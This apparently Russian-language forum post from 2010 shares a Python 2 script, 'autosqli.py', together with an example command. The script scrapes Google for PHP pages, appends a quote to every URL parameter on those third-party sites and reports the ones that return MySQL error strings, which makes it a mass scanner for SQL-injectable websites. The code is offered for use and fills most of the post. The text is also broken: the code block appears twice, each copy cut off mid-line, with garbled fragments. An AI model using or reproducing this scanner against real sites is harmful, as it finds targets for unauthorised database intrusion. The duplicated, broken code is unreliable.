iv.
11.07.2010, 11:19
Очевидно, не я первый задумался о этом, но т.к. ничего особо подобного не нашел, то набросал скрипт на питоне, который парсит результаты гугла, находит ссылки php, вставляет во все параметры кавычки и смотрит произошла ли там ошибка. По умолчанию 10 потоков, 5 страниц, 100 результатов на страницу, показываются только положительные срабатывания. Пример использования (будет парсить выдачу по запросу "heck the world"):
python autosqli.py heck the world
[CODE]
Code:
# -*- coding: utf-8 -*-
import sys, os, re, time, string, urllib2, cookielib, threading, Queue
limit = 5
thread_count = 10
bypass = ['showthread.php', 'viewtopic.php', 'viewforum.php', 'forumdisplay.php', 'forum.php', 'showtopic']
error_values = ['You have an error in your SQL syntax', 'mysql_fetch_array',
'mysql_fetch_assoc', 'mysql_num_rows', 'mysql_fetch_row',]
headers = {'User-Agent' : 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.6) Gecko/20100627 Firefox/3.6.6',
'Accept' : 'text/html',
'Accept-Language' : 'en-us',
'Accept-Charset' : 'utf-8',
'Connection' : 'Close'}
print "Auto SQLi Google Parser"
if len(sys.argv) "
exit(0)
query = string.join(sys.argv[1:])
print "[i] pages to parse: %d" % limit
print "[i] threads: %d" % thread_count
print "[i] query: %s" % query
query = query.replace(' ', '+')
google_jar = cookielib.CookieJar()
google_opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(g oogle_jar))
google_opener.addheaders = zip(headers.keys(), headers.values())
injQueue = Queue.Queue()
injLock = threading.Lock()
class parseUrl(threading.Thread):
def run(self):
while 1:
result = []
url = injQueue.get()
if url == 'stop': return
url = url.split('&')
for param_num in xrange(len(url)):
url[param_num] += "'"
injUrl = "&".join(url)
injReq = urllib2.Request("&".join(url), None, headers)
try:
injResp = urllib2.urlopen(injReq, timeout = 10)
injResp = injResp.read()
except urllib2.HTTPError, e:
injResp = e
except:
continue
if [1 for val in error_values if val in injResp]:
result.append('[+] '+ injUrl)
url[param_num] = url[param_num][:-1]
injLock.acquire()
if result: print '\n'.join(result)
injLock.release()
injQueue.task_done()
for i in xrange(thread_count): parseUrl().start()
for i in xrange(limit):
req = google_opener.open('http://www.google.com/search?q=%s+filetype:php&start=%d&ie=utf-8&oe=utf-8&num=100' % (query, i*100))
resp = req.read()
urlList = re.findall('
python autosqli.py heck the world
[CODE]
Code:
# -*- coding: utf-8 -*-
import sys, os, re, time, string, urllib2, cookielib, threading, Queue
limit = 5
thread_count = 10
bypass = ['showthread.php', 'viewtopic.php', 'viewforum.php', 'forumdisplay.php', 'forum.php', 'showtopic']
error_values = ['You have an error in your SQL syntax', 'mysql_fetch_array',
'mysql_fetch_assoc', 'mysql_num_rows', 'mysql_fetch_row',]
headers = {'User-Agent' : 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.6) Gecko/20100627 Firefox/3.6.6',
'Accept' : 'text/html',
'Accept-Language' : 'en-us',
'Accept-Charset' : 'utf-8',
'Connection' : 'Close'}
print "Auto SQLi Google Parser"
if len(sys.argv) "
exit(0)
query = string.join(sys.argv[1:])
print "[i] pages to parse: %d" % limit
print "[i] threads: %d" % thread_count
print "[i] query: %s" % query
query = query.replace(' ', '+')
google_jar = cookielib.CookieJar()
google_opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(g oogle_jar))
google_opener.addheaders = zip(headers.keys(), headers.values())
injQueue = Queue.Queue()
injLock = threading.Lock()
class parseUrl(threading.Thread):
def run(self):
while 1:
result = []
url = injQueue.get()
if url == 'stop': return
url = url.split('&')
for param_num in xrange(len(url)):
url[param_num] += "'"
injUrl = "&".join(url)
injReq = urllib2.Request("&".join(url), None, headers)
try:
injResp = urllib2.urlopen(injReq, timeout = 10)
injResp = injResp.read()
except urllib2.HTTPError, e:
injResp = e
except:
continue
if [1 for val in error_values if val in injResp]:
result.append('[+] '+ injUrl)
url[param_num] = url[param_num][:-1]
injLock.acquire()
if result: print '\n'.join(result)
injLock.release()
injQueue.task_done()
for i in xrange(thread_count): parseUrl().start()
for i in xrange(limit):
req = google_opener.open('http://www.google.com/search?q=%s+filetype:php&start=%d&ie=utf-8&oe=utf-8&num=100' % (query, i*100))
resp = req.read()
urlList = re.findall('